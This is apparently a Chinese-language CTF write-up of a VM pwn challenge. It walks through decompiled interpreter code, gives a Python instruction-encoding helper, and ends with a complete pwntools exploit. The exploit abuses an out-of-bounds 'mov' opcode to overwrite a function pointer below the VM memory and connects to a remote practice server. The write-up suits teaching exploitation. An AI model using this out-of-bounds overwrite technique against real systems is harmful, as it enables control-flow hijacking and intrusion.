先看基本逻辑
int __fastcall main(int argc, const char **argv, const char **envp)
{unsigned __int16 IP; // [rsp+Ch] [rbp-14h] BYREFunsigned __int16 SP; // [rsp+Eh] [rbp-12h] BYREFunsigned __int16 cmd_count; // [rsp+10h] [rbp-10h] BYREFunsigned __int16 i; // [rsp+12h] [rbp-Eh]unsigned int v8; // [rsp+14h] [rbp-Ch]unsigned __int64 v9; // [rsp+18h] [rbp-8h]v9 = __readfsqword(0x28u);funcptr = my_print;init(argc, argv, envp);write(1, "This is my vm.\n", 0xFuLL);printf("set your IP:");__isoc99_scanf("%hd", &IP);getchar();printf("set your SP:");__isoc99_scanf("%hd", &SP);getchar();vm_sp = SP;vm_ip = IP;if ( IP > 0x2000u || !SP ){puts("error!");exit(0);}printf("How much code do you want to execve:");__isoc99_scanf("%hd", &cmd_count); // 你要执行多少指令getchar();for ( i = 0; i < cmd_count; ++i ){__isoc99_scanf("%d", 4LL * i + 0x6020E0); // 0x6020E0 是memory的偏移,相当于写入指令getchar(); // 收/n}for ( i = 0; i < cmd_count; ++i ){v8 = ip_add();execute(v8);}funcptr(); // 目标是覆盖这里return 0;
}
__int64 __fastcall execute(unsigned int a1)
{__int64 v2_8; // raxunsigned __int8 v2; // [rsp+15h] [rbp-Bh]unsigned __int8 v3; // [rsp+16h] [rbp-Ah]unsigned __int8 v4; // [rsp+17h] [rbp-9h]unsigned int v5; // [rsp+18h] [rbp-8h]v5 = HIBYTE(a1);v2 = (a1 & 0xF0000) >> 16;v3 = (unsigned __int16)(a1 & 0xF00) >> 8;v4 = a1 & 0xF; // [// ('v4',8),// ('v3',8),// ('v2',8),// ('v5',8),// ]if ( v2 > 013u || v3 > 013u || v4 > 013u ){puts("out of index");exit(0);}v2_8 = v5;if ( v5 == 80 ) // sub{v2_8 = v2;reg[v2] = reg[v3] - reg[v4];}else if ( v5 > 0x50 ) // shr{if ( v5 == 112 ){v2_8 = v2;reg[v2] = reg[v3] >> reg[v4];}else if ( v5 > 0x70 ){if ( v5 == 128 ) // shl{v2_8 = v2;reg[v2] = reg[v3] << reg[v4];}else if ( v5 == 144 ) // mov []{v2_8 = reg[v2];memory[v2_8] = reg[v3];}}else if ( v5 == 96 ) // xor{v2_8 = v2;reg[v2] = reg[v4] ^ reg[v3];}}else if ( v5 == 32 ) // push{stack[vm_sp] = reg[v2];return (unsigned int)++vm_sp;}else if ( v5 > 0x20 ) // pop{if ( v5 == 48 ){--vm_sp;v2_8 = v2;reg[v2] = stack[vm_sp];}else if ( v5 == 64 ) // add{v2_8 = v2;reg[v2] = reg[v4] + reg[v3];}}else if ( v5 == 16 ) // lea{v2_8 = v2;reg[v2] = (unsigned __int16)a1;}return v2_8;
}
我写了一个生成虚拟指令的小工具
class VmTools:"""将位向量补齐拼接为整数的工具,使用列表自动顺位填充,'unk' 字段自动填充为0。"""def __init__(self, vm_list, direction=1, endian='big'):"""记录给予的虚拟地址布局,例如:[('v1', 12),('unk', 4),('v2', 20)]'v1', 'v2' 是字段名称,'unk' 表示自动填充为0的字段,数字是其所占位长度。:param vm_list: 字段的有序列表,每个元素是一个元组 (字段名, 位长度):param direction: 拼接方向,1 表示从高位开始拼接,0 表示从低位开始:param endian: 字节序,'big' 或 'little'"""if not isinstance(vm_list, list):raise TypeError("vm_list 必须是一个列表类型")for item in vm_list:if not (isinstance(item, tuple) and len(item) == 2):raise ValueError("vm_list 中的每个元素必须是一个包含两个元素的元组 (字段名, 位长度)")name, length = itemif not isinstance(name, str):raise TypeError("字段名必须是字符串类型")if not isinstance(length, int) or length <= 0:raise ValueError("位长度必须是一个正整数")if direction not in (0, 1):raise ValueError("direction 参数必须是 0(从低位)或 1(从高位)")if endian not in ('big', 'little'):raise ValueError("endian 参数必须是 'big' 或 'little'")self.vm_list = vm_listself.endian = endianself.direction = direction@staticmethoddef signed_to_unsigned(signed_num, bit_width):"""转换负数为等效正数"""# 根据指定的位宽计算最大无符号数max_unsigned = (1 << bit_width) - 1# 如果有符号数是负数,使用与运算保留其补码形式unsigned_num = signed_num & max_unsignedreturn unsigned_numdef get(self, fill_values):"""根据数组创建拼接结果,方向和字节序可控,'unk' 字段自动填充为0。:param fill_values: 字段值的数组,顺序对应非 'unk' 字段:return: 拼接后的整数"""if not isinstance(fill_values, list):raise TypeError("fill_values 必须是一个列表类型")# 提取非 'unk' 字段的名称列表non_unk_names = [name for name, _ in self.vm_list if name != 'unk']if len(fill_values) != len(non_unk_names):raise ValueError(f"填充值的数量应为 {len(non_unk_names)},当前为 {len(fill_values)}")# 根据 direction 处理 vm_items 和 fill_valuesif self.direction == 0:vm_items = list(reversed(self.vm_list))fill_values = list(reversed(fill_values))non_unk_names = list(reversed(non_unk_names))else:vm_items = self.vm_list# 将非 'unk' 字段名和填充值对应起来value_dict = dict(zip(non_unk_names, fill_values))result = 0total_bits = 0for name, length in vm_items:if name == 'unk':value = 0else:value = value_dict[name]if value < 0: # 处理负数self.signed_to_unsigned(value, length)max_value = (1 << length) - 1if not isinstance(value, int) or value < 0:raise ValueError(f"字段 '{name}' 的值必须是非负整数")if value > max_value:raise ValueError(f"字段 '{name}' 的值 {value} 超出了 {length} 位的范围 (最大值 {max_value})")result = (result << length) | valuetotal_bits += length# 处理字节序byte_length = (total_bits + 7) // 8 # 向上取整到字节result_bytes = result.to_bytes(byte_length, byteorder='big')if self.endian == 'little':# 如果是小端序,需要反转字节序result_bytes = result_bytes[::-1]final_result = int.from_bytes(result_bytes, byteorder='big')else:final_result = resultreturn final_result
用它可以生成虚拟指令
vm = VmTools([('v5', 8),('v2', 8),('v3',8),('v4',8),
], direction=0, endian='little')pay = []
pay.append(vm.get([1,2,3,4]))
print(pay)
我们的目标是越界写入
else if ( v5 == 144 ) // mov []{v2_8 = reg[v2];memory[v2_8] = reg[v3];}
.bss:00000000006020C0 ; __int64 (*funcptr)(void)
.bss:00000000006020C0 funcptr dq ? ; DATA XREF: main+17↑w
.bss:00000000006020C0 ; main+177↑r
.bss:00000000006020C8 align 20h
.bss:00000000006020E0 public memory
.bss:00000000006020E0 ; int memory[65536]
.bss:00000000006020E0 memory dd ? ; DATA XREF: ip_add+C↑r
.bss:00000000006020E0 ; execute+25A↑w
exp
from pwn import *
from codes.FastPwn import *
from codes.vm_tool import *
context.arch = 'amd64'
io = FastPwn(1)# io.gdb_b(0x401077);io.gdb_run()
io.remote('node1.anna.nssctf.cn:28996')
vm = VmTools([('v5', 8),('v2', 8),('v3',8),('v4',8),
], direction=0, endian='little')io.sl(b'0')
io.sl(b'1')
io.sl(b'13')pay = []
pay.append(vm.get([16,0,0,8])) # reg[0] = 8
pay.append(vm.get([80,1,1,0])) # reg[1] = reg[1] - reg[0] = -8 <-------------
pay.append(vm.get([16,2,0,4])) # reg[2] = 4
pay.append(vm.get([16,3,0,20])) # reg[3] = 20
pay.append(vm.get([128,2,2,3])) # reg[2] = reg[2] << reg[3] = 0x400000 <--------
pay.append(vm.get([128,0,0,0])) # reg[0] = reg[0] << reg[0] = 0x800
pay.append(vm.get([64,2,2,0])) # reg[2] = reg[2] + reg[0] = 0x400800 <-----------
pay.append(vm.get([16,0,0,7])) # reg[0] = 7
pay.append(vm.get([64,2,2,0])) # reg[2] = reg[2] + reg[0] = 0x400807 <-----------
pay.append(vm.get([16,3,0,4])) # reg[3] = 4
pay.append(vm.get([128,0,0,3])) # reg[0] = reg[0] << reg[3] = 0x70
pay.append(vm.get([64,2,2,0])) # reg[2] = reg[2] + reg[0] = 0x400877 <-----------
pay.append(vm.get([144,1,2,0])) # memory[-8] = reg[2]for cmd in pay:io.sl(str(cmd))io.ia()